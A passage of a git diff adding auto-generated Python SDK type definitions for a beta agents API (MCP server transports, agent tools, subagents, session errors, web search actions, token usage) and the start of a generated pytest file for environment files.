+
+
+class InputContentResourceInputImage(BaseModel):
+ """Image input recorded in a session item."""
+
+ image_url: str
+ """
+ The URL of the image supplied to the agent, which may be a base64-encoded data
+ URL.
+ """
+
+ type: Literal["input_image"]
+ """The type of the object. Always `input_image`."""
+
+
+InputContent: TypeAlias = Annotated[
+ Union[InputContentResourceInputText, InputContentResourceInputImage], PropertyInfo(discriminator="type")
+]
diff --git a/src/openai/types/beta/input_content_param.py b/src/openai/types/beta/input_content_param.py
new file mode 100644
index 0000000000..c31232c431
--- /dev/null
+++ b/src/openai/types/beta/input_content_param.py
@@ -0,0 +1,31 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = ["InputContentParam", "InputContentParamInputText", "InputContentParamInputImage"]
+
+
+class InputContentParamInputText(TypedDict, total=False):
+ """Text input to the model."""
+
+ text: Required[str]
+ """The text sent to the model."""
+
+ type: Required[Literal["input_text"]]
+ """The type of the object. Always `input_text`."""
+
+
+class InputContentParamInputImage(TypedDict, total=False):
+ """Image input to the model."""
+
+ image_url: Required[str]
+ """The URL of the image sent to the model."""
+
+ type: Required[Literal["input_image"]]
+ """The type of the object. Always `input_image`."""
+
+
+InputContentParam: TypeAlias = Union[InputContentParamInputText, InputContentParamInputImage]
diff --git a/src/openai/types/beta/mcp_transport.py b/src/openai/types/beta/mcp_transport.py
new file mode 100644
index 0000000000..4e768fa956
--- /dev/null
+++ b/src/openai/types/beta/mcp_transport.py
@@ -0,0 +1,43 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = ["McpTransport", "McpTransportResourceHTTP", "McpTransportResourceStdio"]
+
+
+class McpTransportResourceHTTP(BaseModel):
+ """Connects to an MCP server over HTTP."""
+
+ server_url: str
+ """The URL of the MCP server."""
+
+ type: Literal["http"]
+ """The type of the object. Always `http`."""
+
+
+class McpTransportResourceStdio(BaseModel):
+ """Starts an MCP server as a local process."""
+
+ args: List[str]
+ """Arguments passed to the MCP server command."""
+
+ command: str
+ """The command used to start the MCP server."""
+
+ cwd: str
+ """The working directory used to start the MCP server."""
+
+ env_vars: List[str]
+ """Environment variable names inherited from the execution environment."""
+
+ type: Literal["stdio"]
+ """The type of the object. Always `stdio`."""
+
+
+McpTransport: TypeAlias = Annotated[
+ Union[McpTransportResourceHTTP, McpTransportResourceStdio], PropertyInfo(discriminator="type")
+]
diff --git a/src/openai/types/beta/mcp_transport_param.py b/src/openai/types/beta/mcp_transport_param.py
new file mode 100644
index 0000000000..d684bb8c25
--- /dev/null
+++ b/src/openai/types/beta/mcp_transport_param.py
@@ -0,0 +1,51 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Union, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from ..._types import SequenceNotStr
+
+__all__ = ["McpTransportParam", "McpTransportConfigParamHTTP", "McpTransportConfigParamStdio"]
+
+
+class McpTransportConfigParamHTTP(TypedDict, total=False):
+ """Connects to an MCP server over HTTP."""
+
+ server_url: Required[str]
+ """The URL of the MCP server."""
+
+ type: Required[Literal["http"]]
+ """The type of the object. Always `http`."""
+
+ authorization: Optional[str]
+ """The authorization value sent to the MCP server, if any."""
+
+ headers: Optional[Dict[str, str]]
+ """Additional HTTP headers sent to the MCP server."""
+
+
+class McpTransportConfigParamStdio(TypedDict, total=False):
+ """Starts an MCP server as a local process."""
+
+ command: Required[str]
+ """The command used to start the MCP server."""
+
+ cwd: Required[str]
+ """The working directory used to start the MCP server."""
+
+ type: Required[Literal["stdio"]]
+ """The type of the object. Always `stdio`."""
+
+ args: Optional[SequenceNotStr[str]]
+ """Arguments passed to the MCP server command."""
+
+ env: Optional[Dict[str, str]]
+ """Environment variables set for the MCP server process."""
+
+ env_vars: Optional[SequenceNotStr[str]]
+ """Environment variable names to inherit from the selected execution environment."""
+
+
+McpTransportParam: TypeAlias = Union[McpTransportConfigParamHTTP, McpTransportConfigParamStdio]
diff --git a/src/openai/types/beta/multi_agent_config.py b/src/openai/types/beta/multi_agent_config.py
new file mode 100644
index 0000000000..dc4439c15b
--- /dev/null
+++ b/src/openai/types/beta/multi_agent_config.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+
+from ..._models import BaseModel
+
+__all__ = ["MultiAgentConfig"]
+
+
+class MultiAgentConfig(BaseModel):
+ """The resolved configuration for creating and coordinating subagents."""
+
+ enabled: bool
+ """Whether subagent tools are enabled. Defaults to false."""
+
+ max_concurrent_subagents: Optional[int] = None
+ """Maximum number of subagents that may run concurrently, or null when disabled.
+
+ Defaults to 6 when enabled.
+ """
diff --git a/src/openai/types/beta/multi_agent_config_param.py b/src/openai/types/beta/multi_agent_config_param.py
new file mode 100644
index 0000000000..b40a6013bb
--- /dev/null
+++ b/src/openai/types/beta/multi_agent_config_param.py
@@ -0,0 +1,17 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Required, TypedDict
+
+__all__ = ["MultiAgentConfigParam"]
+
+
+class MultiAgentConfigParam(TypedDict, total=False):
+ """Explicit configuration for creating and coordinating subagents."""
+
+ enabled: Required[bool]
+ """Whether subagent tools are enabled."""
+
+ max_concurrent_subagents: int
+ """Maximum number of subagents that may run concurrently. Defaults to 6."""
diff --git a/src/openai/types/beta/output_text.py b/src/openai/types/beta/output_text.py
new file mode 100644
index 0000000000..4cfa7c2fe4
--- /dev/null
+++ b/src/openai/types/beta/output_text.py
@@ -0,0 +1,17 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["OutputText"]
+
+
+class OutputText(BaseModel):
+ """A text content part produced by the agent."""
+
+ text: str
+ """The text produced by the agent."""
+
+ type: Literal["output_text"]
+ """The content type. Always `output_text`."""
diff --git a/src/openai/types/beta/persisted_agent_tool.py b/src/openai/types/beta/persisted_agent_tool.py
new file mode 100644
index 0000000000..de2d47b2d6
--- /dev/null
+++ b/src/openai/types/beta/persisted_agent_tool.py
@@ -0,0 +1,129 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Dict, List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .persisted_mcp_transport import PersistedMcpTransport
+
+__all__ = [
+ "PersistedAgentTool",
+ "PersistedAgentToolResourceFunction",
+ "PersistedAgentToolResourceToolSearch",
+ "PersistedAgentToolResourceProgrammaticToolCalling",
+ "PersistedAgentToolResourceMcp",
+ "PersistedAgentToolResourceWebSearch",
+ "PersistedAgentToolResourceWebSearchLocation",
+]
+
+
+class PersistedAgentToolResourceFunction(BaseModel):
+ """A function defined by the application."""
+
+ defer_loading: bool
+ """Whether the function is deferred and discovered through tool search."""
+
+ description: str
+ """A description of what the function does."""
+
+ name: str
+ """The name of the function."""
+
+ parameters: Dict[str, object]
+ """A JSON Schema object describing the function's arguments."""
+
+ type: Literal["function"]
+ """The type of the object. Always `function`."""
+
+
+class PersistedAgentToolResourceToolSearch(BaseModel):
+ """Discovers deferred function tools and loads them into the model context."""
+
+ type: Literal["tool_search"]
+ """The type of the object. Always `tool_search`."""
+
+
+class PersistedAgentToolResourceProgrammaticToolCalling(BaseModel):
+ """Enables calling tools from model-generated code."""
+
+ enabled: bool
+ """Whether tools can be called from model-generated code."""
+
+ type: Literal["programmatic_tool_calling"]
+ """The type of the object. Always `programmatic_tool_calling`."""
+
+
+class PersistedAgentToolResourceMcp(BaseModel):
+ """Tools provided by a remote MCP server without stored credentials."""
+
+ allowed_tools: Optional[List[str]] = None
+ """The MCP tools the agent may call, or null when all server tools are allowed."""
+
+ connection_origin: Literal["service", "environment"]
+ """Where outbound MCP HTTP connections originate."""
+
+ credential_id: Optional[str] = None
+ """The vault credential selected for this MCP server, if any."""
+
+ request_metadata: Dict[str, object]
+ """Metadata included with requests to this MCP server."""
+
+ required: bool
+ """Whether this MCP server must initialize before the first turn."""
+
+ server_label: str
+ """A label used to identify the MCP server in tool calls."""
+
+ transport: PersistedMcpTransport
+ """The credential-free transport used to connect to the MCP server."""
+
+ type: Literal["mcp"]
+ """The type of the object. Always `mcp`."""
+
+
+class PersistedAgentToolResourceWebSearchLocation(BaseModel):
+ """Approximate user location used to localize web search results."""
+
+ city: Optional[str] = None
+ """The city name."""
+
+ country: Optional[str] = None
+ """The two-letter ISO country code, such as `US`."""
+
+ region: Optional[str] = None
+ """The region or state name."""
+
+ timezone: Optional[str] = None
+ """The IANA timezone, such as `America/Los_Angeles`."""
+
+
+class PersistedAgentToolResourceWebSearch(BaseModel):
+ """Web search."""
+
+ allowed_domains: Optional[List[str]] = None
+ """Allowed search domains, or `null` when the search is unrestricted."""
+
+ context_size: Literal["low", "medium", "high"]
+ """The amount of search context made available to the model. Defaults to `medium`."""
+
+ location: Optional[PersistedAgentToolResourceWebSearchLocation] = None
+ """Approximate user location used to localize web search results."""
+
+ mode: Literal["disabled", "cached", "live"]
+ """The source used for web search results."""
+
+ type: Literal["web_search"]
+ """The type of the object. Always `web_search`."""
+
+
+PersistedAgentTool: TypeAlias = Annotated[
+ Union[
+ PersistedAgentToolResourceFunction,
+ PersistedAgentToolResourceToolSearch,
+ PersistedAgentToolResourceProgrammaticToolCalling,
+ PersistedAgentToolResourceMcp,
+ PersistedAgentToolResourceWebSearch,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/persisted_agent_tool_param.py b/src/openai/types/beta/persisted_agent_tool_param.py
new file mode 100644
index 0000000000..80606347a0
--- /dev/null
+++ b/src/openai/types/beta/persisted_agent_tool_param.py
@@ -0,0 +1,145 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Union, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from ..._types import SequenceNotStr
+from .persisted_mcp_transport_param import PersistedMcpTransportParam
+
+__all__ = [
+ "PersistedAgentToolParam",
+ "PersistedAgentToolConfigParamFunction",
+ "PersistedAgentToolConfigParamToolSearch",
+ "PersistedAgentToolConfigParamProgrammaticToolCalling",
+ "PersistedAgentToolConfigParamMcp",
+ "PersistedAgentToolConfigParamWebSearch",
+ "PersistedAgentToolConfigParamWebSearchLocation",
+]
+
+
+class PersistedAgentToolConfigParamFunction(TypedDict, total=False):
+ """A function defined by the application."""
+
+ description: Required[str]
+ """A description of what the function does."""
+
+ name: Required[str]
+ """The name of the function."""
+
+ parameters: Required[Dict[str, object]]
+ """A JSON Schema object describing the function's arguments."""
+
+ type: Required[Literal["function"]]
+ """The type of the object. Always `function`."""
+
+ defer_loading: bool
+ """Whether this function is deferred and discovered through tool search.
+
+ Defaults to `false`.
+ """
+
+
+class PersistedAgentToolConfigParamToolSearch(TypedDict, total=False):
+ """Discovers deferred function tools and loads them into the model context."""
+
+ type: Required[Literal["tool_search"]]
+ """The type of the object. Always `tool_search`."""
+
+
+class PersistedAgentToolConfigParamProgrammaticToolCalling(TypedDict, total=False):
+ """Enables calling tools from model-generated code."""
+
+ type: Required[Literal["programmatic_tool_calling"]]
+ """The type of the object. Always `programmatic_tool_calling`."""
+
+ enabled: bool
+ """Whether tools can be called from model-generated code. Defaults to `true`."""
+
+
+class PersistedAgentToolConfigParamMcp(TypedDict, total=False):
+ """Tools provided by a remote MCP server without stored credentials."""
+
+ server_label: Required[str]
+ """A label used to identify the MCP server in tool calls."""
+
+ transport: Required[PersistedMcpTransportParam]
+ """The credential-free transport used to connect to the MCP server."""
+
+ type: Required[Literal["mcp"]]
+ """The type of the object. Always `mcp`."""
+
+ allowed_tools: Optional[SequenceNotStr[str]]
+ """The MCP tools the agent may call. All server tools are allowed when omitted."""
+
+ connection_origin: Optional[Literal["service", "environment"]]
+ """Where outbound MCP HTTP connections originate.
+
+ - `service` - Uses the Managed Agents service network.
+ - `environment` - Uses the session's execution environment.
+ """
+
+ credential_id: Optional[str]
+ """The vault credential selected for this MCP server.
+
+ Optional when exactly one attached credential matches the server URL.
+ """
+
+ request_metadata: Optional[Dict[str, object]]
+ """Metadata included with requests to this MCP server."""
+
+ required: bool
+ """Whether this MCP server must initialize before the first turn.
+
+ Defaults to `false`.
+ """
+
+
+class PersistedAgentToolConfigParamWebSearchLocation(TypedDict, total=False):
+ """Approximate user location used to localize web search results."""
+
+ city: Optional[str]
+ """The city name."""
+
+ country: Optional[str]
+ """The two-letter ISO country code, such as `US`."""
+
+ region: Optional[str]
+ """The region or state name."""
+
+ timezone: Optional[str]
+ """The IANA timezone, such as `America/Los_Angeles`."""
+
+
+class PersistedAgentToolConfigParamWebSearch(TypedDict, total=False):
+ """Web search."""
+
+ type: Required[Literal["web_search"]]
+ """The type of the object. Always `web_search`."""
+
+ allowed_domains: Optional[SequenceNotStr[str]]
+ """Domains the search may include."""
+
+ context_size: Optional[Literal["low", "medium", "high"]]
+ """The amount of web search context made available to the model."""
+
+ location: Optional[PersistedAgentToolConfigParamWebSearchLocation]
+ """Approximate user location used to localize web search results."""
+
+ mode: Optional[Literal["disabled", "cached", "live"]]
+ """The source used for web search results.
+
+ - `disabled` - Disables web search.
+ - `cached` - Uses cached search results.
+ - `live` - Searches the live web.
+ """
+
+
+PersistedAgentToolParam: TypeAlias = Union[
+ PersistedAgentToolConfigParamFunction,
+ PersistedAgentToolConfigParamToolSearch,
+ PersistedAgentToolConfigParamProgrammaticToolCalling,
+ PersistedAgentToolConfigParamMcp,
+ PersistedAgentToolConfigParamWebSearch,
+]
diff --git a/src/openai/types/beta/persisted_mcp_transport.py b/src/openai/types/beta/persisted_mcp_transport.py
new file mode 100644
index 0000000000..cf5462e323
--- /dev/null
+++ b/src/openai/types/beta/persisted_mcp_transport.py
@@ -0,0 +1,46 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Dict, List, Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = ["PersistedMcpTransport", "PersistedMcpTransportResourceHTTP", "PersistedMcpTransportResourceStdio"]
+
+
+class PersistedMcpTransportResourceHTTP(BaseModel):
+ """Connects to an MCP server over HTTP."""
+
+ headers: Dict[str, str]
+ """Non-secret HTTP headers sent to the MCP server."""
+
+ server_url: str
+ """The URL of the MCP server."""
+
+ type: Literal["http"]
+ """The type of the object. Always `http`."""
+
+
+class PersistedMcpTransportResourceStdio(BaseModel):
+ """Starts an MCP server as a local process."""
+
+ args: List[str]
+ """Arguments passed to the MCP server command."""
+
+ command: str
+ """The command used to start the MCP server."""
+
+ cwd: str
+ """The working directory used to start the MCP server."""
+
+ env_vars: List[str]
+ """Environment variable names inherited from the execution environment."""
+
+ type: Literal["stdio"]
+ """The type of the object. Always `stdio`."""
+
+
+PersistedMcpTransport: TypeAlias = Annotated[
+ Union[PersistedMcpTransportResourceHTTP, PersistedMcpTransportResourceStdio], PropertyInfo(discriminator="type")
+]
diff --git a/src/openai/types/beta/persisted_mcp_transport_param.py b/src/openai/types/beta/persisted_mcp_transport_param.py
new file mode 100644
index 0000000000..76ec6ef957
--- /dev/null
+++ b/src/openai/types/beta/persisted_mcp_transport_param.py
@@ -0,0 +1,51 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Union, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from ..._types import SequenceNotStr
+
+__all__ = [
+ "PersistedMcpTransportParam",
+ "PersistedMcpTransportConfigParamHTTP",
+ "PersistedMcpTransportConfigParamStdio",
+]
+
+
+class PersistedMcpTransportConfigParamHTTP(TypedDict, total=False):
+ """Connects to an MCP server over HTTP."""
+
+ server_url: Required[str]
+ """The URL of the MCP server."""
+
+ type: Required[Literal["http"]]
+ """The type of the object. Always `http`."""
+
+ headers: Optional[Dict[str, str]]
+ """Non-secret HTTP headers sent to the MCP server."""
+
+
+class PersistedMcpTransportConfigParamStdio(TypedDict, total=False):
+ """Starts an MCP server as a local process."""
+
+ command: Required[str]
+ """The command used to start the MCP server."""
+
+ cwd: Required[str]
+ """The working directory used to start the MCP server."""
+
+ type: Required[Literal["stdio"]]
+ """The type of the object. Always `stdio`."""
+
+ args: Optional[SequenceNotStr[str]]
+ """Arguments passed to the MCP server command."""
+
+ env_vars: Optional[SequenceNotStr[str]]
+ """Environment variable names to inherit from the selected execution environment."""
+
+
+PersistedMcpTransportParam: TypeAlias = Union[
+ PersistedMcpTransportConfigParamHTTP, PersistedMcpTransportConfigParamStdio
+]
diff --git a/src/openai/types/beta/session_error.py b/src/openai/types/beta/session_error.py
new file mode 100644
index 0000000000..f4d963c792
--- /dev/null
+++ b/src/openai/types/beta/session_error.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+
+from ..._models import BaseModel
+
+__all__ = ["SessionError"]
+
+
+class SessionError(BaseModel):
+ """An error payload with the same public fields as Responses API streaming errors."""
+
+ code: Optional[str] = None
+ """The machine-readable error code, if any."""
+
+ message: str
+ """A customer-safe explanation of the error."""
+
+ param: Optional[str] = None
+ """The request parameter associated with the error, if any."""
+
+ type: str
+ """The error type."""
diff --git a/src/openai/types/beta/session_turn_error.py b/src/openai/types/beta/session_turn_error.py
new file mode 100644
index 0000000000..b6c2b36fb8
--- /dev/null
+++ b/src/openai/types/beta/session_turn_error.py
@@ -0,0 +1,57 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SessionTurnError"]
+
+
+class SessionTurnError(BaseModel):
+ """A customer-safe error describing why a session request failed."""
+
+ code: Literal[
+ "context_length_exceeded",
+ "session_budget_exceeded",
+ "usage_limit_exceeded",
+ "rate_limit_exceeded",
+ "server_overloaded",
+ "cyber_policy",
+ "connection_failed",
+ "server_error",
+ "authentication_error",
+ "invalid_request",
+ "resource_not_found",
+ "sandbox_error",
+ "executor_version_incompatible",
+ "active_turn_not_steerable",
+ "request_timeout",
+ "internal_error",
+ ]
+ """A stable, machine-readable failure category.
+
+ - `context_length_exceeded` - The request exceeds the model's context window.
+ - `session_budget_exceeded` - The session has reached its usage budget.
+ - `usage_limit_exceeded` - The organization has reached a usage, plan, or
+ billing limit.
+ - `rate_limit_exceeded` - The request exceeds the available rate limit.
+ - `server_overloaded` - The model service is temporarily overloaded.
+ - `cyber_policy` - The request was rejected by a safety policy.
+ - `connection_failed` - The request could not connect to the model service.
+ - `server_error` - The model service encountered an unexpected error.
+ - `authentication_error` - The API credentials are invalid or lack the required
+ access.
+ - `invalid_request` - The request contains invalid input or configuration.
+ - `resource_not_found` - The requested model or resource is unavailable.
+ - `sandbox_error` - The request could not complete in its execution environment.
+ - `executor_version_incompatible` - The executor must be upgraded before it can
+ run this turn.
+ - `active_turn_not_steerable` - The session cannot accept additional input while
+ a request is running.
+ - `request_timeout` - The request timed out before the model service responded.
+ - `internal_error` - An unexpected internal error prevented the session request
+ from completing.
+ """
+
+ message: str
+ """A customer-safe explanation of the failure."""
diff --git a/src/openai/types/beta/setup_command_param.py b/src/openai/types/beta/setup_command_param.py
new file mode 100644
index 0000000000..790accfabb
--- /dev/null
+++ b/src/openai/types/beta/setup_command_param.py
@@ -0,0 +1,18 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Required, TypedDict
+
+__all__ = ["SetupCommandParam"]
+
+
+class SetupCommandParam(TypedDict, total=False):
+ """A confidential setup command executed before the hosted agent starts."""
+
+ command: Required[str]
+ """The shell command to execute."""
+
+ cwd: Optional[str]
+ """The absolute working directory. Defaults to `/workspace`."""
diff --git a/src/openai/types/beta/subagent.py b/src/openai/types/beta/subagent.py
new file mode 100644
index 0000000000..938f727c6f
--- /dev/null
+++ b/src/openai/types/beta/subagent.py
@@ -0,0 +1,54 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_content import AgentContent
+
+__all__ = ["Subagent"]
+
+
+class Subagent(BaseModel):
+ """A subagent created within a session."""
+
+ id: str
+ """The ID of the subagent."""
+
+ closed_at: Optional[int] = None
+ """The Unix timestamp, in seconds, when the subagent was closed.
+
+ Null while active, including after resume.
+ """
+
+ instructions: Optional[List[AgentContent]] = None
+ """Initial task content, or null when unavailable.
+
+ Text may contain placeholders for images or audio when only a preview is
+ available.
+ """
+
+ name: Optional[str] = None
+ """The runner-assigned nickname, or null when unavailable."""
+
+ object: Literal["agent.session.subagent"]
+ """The object type. Always `agent.session.subagent`."""
+
+ opened_at: int
+ """The Unix timestamp, in seconds, when the subagent was first opened.
+
+ Resuming does not change it.
+ """
+
+ parent_agent_id: str
+ """The ID of the agent that created this subagent."""
+
+ session_id: str
+ """The ID of the session that owns the subagent."""
+
+ status: Literal["active", "closed"]
+ """The current status of the subagent.
+
+ - `active` - The subagent remains available, including while idle between turns.
+ - `closed` - The subagent is closed.
+ """
diff --git a/src/openai/types/beta/summary_text.py b/src/openai/types/beta/summary_text.py
new file mode 100644
index 0000000000..40fd61d8d5
--- /dev/null
+++ b/src/openai/types/beta/summary_text.py
@@ -0,0 +1,17 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SummaryText"]
+
+
+class SummaryText(BaseModel):
+ """A reasoning summary content part."""
+
+ text: str
+ """The reasoning summary text."""
+
+ type: Literal["summary_text"]
+ """The content type. Always `summary_text`."""
diff --git a/src/openai/types/beta/text_format.py b/src/openai/types/beta/text_format.py
new file mode 100644
index 0000000000..7f8e27d680
--- /dev/null
+++ b/src/openai/types/beta/text_format.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Dict, Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from pydantic import Field as FieldInfo
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = ["TextFormat", "TextFormatResourceText", "TextFormatResourceJSONSchema"]
+
+
+class TextFormatResourceText(BaseModel):
+ """Generates ordinary text without a structured-output constraint."""
+
+ type: Literal["text"]
+ """The type of the object. Always `text`."""
+
+
+class TextFormatResourceJSONSchema(BaseModel):
+ """Constrains generated text to a JSON Schema."""
+
+ schema_: Dict[str, object] = FieldInfo(alias="schema")
+ """The JSON Schema that generated text must match."""
+
+ type: Literal["json_schema"]
+ """The type of the object. Always `json_schema`."""
+
+
+TextFormat: TypeAlias = Annotated[
+ Union[TextFormatResourceText, TextFormatResourceJSONSchema], PropertyInfo(discriminator="type")
+]
diff --git a/src/openai/types/beta/text_format_param.py b/src/openai/types/beta/text_format_param.py
new file mode 100644
index 0000000000..fdb23ceb6d
--- /dev/null
+++ b/src/openai/types/beta/text_format_param.py
@@ -0,0 +1,28 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = ["TextFormatParam", "TextFormatParamText", "TextFormatParamJSONSchema"]
+
+
+class TextFormatParamText(TypedDict, total=False):
+ """Generates ordinary text without a structured-output constraint."""
+
+ type: Required[Literal["text"]]
+ """The type of the object. Always `text`."""
+
+
+class TextFormatParamJSONSchema(TypedDict, total=False):
+ """Constrains generated text to a JSON Schema."""
+
+ schema: Required[Dict[str, object]]
+ """The JSON Schema that generated text must match."""
+
+ type: Required[Literal["json_schema"]]
+ """The type of the object. Always `json_schema`."""
+
+
+TextFormatParam: TypeAlias = Union[TextFormatParamText, TextFormatParamJSONSchema]
diff --git a/src/openai/types/beta/token_usage.py b/src/openai/types/beta/token_usage.py
new file mode 100644
index 0000000000..827963f1ed
--- /dev/null
+++ b/src/openai/types/beta/token_usage.py
@@ -0,0 +1,41 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from ..._models import BaseModel
+
+__all__ = ["TokenUsage", "InputTokensDetails", "OutputTokensDetails"]
+
+
+class InputTokensDetails(BaseModel):
+ """A breakdown of the agent's input token usage."""
+
+ cached_tokens: int
+ """The number of input tokens retrieved from the prompt cache."""
+
+
+class OutputTokensDetails(BaseModel):
+ """A breakdown of the agent's output token usage."""
+
+ reasoning_tokens: int
+ """The number of output tokens used for reasoning."""
+
+
+class TokenUsage(BaseModel):
+ """Recorded token usage for a session or turn.
+
+ Usage is best effort and may change.
+ """
+
+ input_tokens: int
+ """The number of input tokens used by the agent."""
+
+ input_tokens_details: InputTokensDetails
+ """A breakdown of the agent's input token usage."""
+
+ output_tokens: int
+ """The number of output tokens generated by the agent."""
+
+ output_tokens_details: OutputTokensDetails
+ """A breakdown of the agent's output token usage."""
+
+ total_tokens: int
+ """The total number of input and output tokens used by the agent."""
diff --git a/src/openai/types/beta/web_search_action.py b/src/openai/types/beta/web_search_action.py
new file mode 100644
index 0000000000..69ee877375
--- /dev/null
+++ b/src/openai/types/beta/web_search_action.py
@@ -0,0 +1,69 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = [
+ "WebSearchAction",
+ "WebSearchActionResourceSearch",
+ "WebSearchActionResourceOpenPage",
+ "WebSearchActionResourceFindInPage",
+ "WebSearchActionResourceOther",
+]
+
+
+class WebSearchActionResourceSearch(BaseModel):
+ """A search query or group of search queries."""
+
+ queries: Optional[List[str]] = None
+ """The search queries, when multiple queries were used."""
+
+ query: Optional[str] = None
+ """The search query, when a single query was used."""
+
+ type: Literal["search"]
+ """The type of the object. Always `search`."""
+
+
+class WebSearchActionResourceOpenPage(BaseModel):
+ """Opens a web page."""
+
+ type: Literal["open_page"]
+ """The type of the object. Always `open_page`."""
+
+ url: Optional[str] = None
+ """The URL of the page that was opened."""
+
+
+class WebSearchActionResourceFindInPage(BaseModel):
+ """Finds text within a web page."""
+
+ pattern: Optional[str] = None
+ """The text pattern that was searched for."""
+
+ type: Literal["find_in_page"]
+ """The type of the object. Always `find_in_page`."""
+
+ url: Optional[str] = None
+ """The URL of the page that was searched."""
+
+
+class WebSearchActionResourceOther(BaseModel):
+ """Another web search action."""
+
+ type: Literal["other"]
+ """The type of the object. Always `other`."""
+
+
+WebSearchAction: TypeAlias = Annotated[
+ Union[
+ WebSearchActionResourceSearch,
+ WebSearchActionResourceOpenPage,
+ WebSearchActionResourceFindInPage,
+ WebSearchActionResourceOther,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/tests/api_resources/beta/agents/__init__.py b/tests/api_resources/beta/agents/__init__.py
new file mode 100644
index 0000000000..d7a8b19970
--- /dev/null
+++ b/tests/api_resources/beta/agents/__init__.py
@@ -0,0 +1 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/agents/environments/__init__.py b/tests/api_resources/beta/agents/environments/__init__.py
new file mode 100644
index 0000000000..d7a8b19970
--- /dev/null
+++ b/tests/api_resources/beta/agents/environments/__init__.py
@@ -0,0 +1 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/agents/environments/test_files.py b/tests/api_resources/beta/agents/environments/test_files.py
new file mode 100644
index 0000000000..e4c507c058
--- /dev/null
+++ b/tests/api_resources/beta/agents/environments/test_files.py
@@ -0,0 +1,323 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncTokenPage, AsyncTokenPage
+from openai.types.beta.agents.environments import EnvironmentFile
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestFiles:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create_overload_1(self, client: OpenAI) -> None:
+ file = client.beta.agents.environments.files.create(
+ environment_id="environment_id",
+ file_id="x",
+ path="x",
+ type="file_id",
+ )
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ @parametrize
+ def test_raw_response_create_overload_1(self, client: OpenAI) -> None:
+ response = client.beta.agents.environments.files.with_raw_response.create(
+ environment_id="environment_id",
+ file_id="x",
+ path="x",
+ type="file_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ file = response.parse()
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create_overload_1(self, client: OpenAI) -> None:
+ with client.beta.agents.environments.files.with_streaming_response.create(
+ environment_id="environment_id",
+ file_id="x",
+ path="x",
+ type="file_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ file = response.parse()
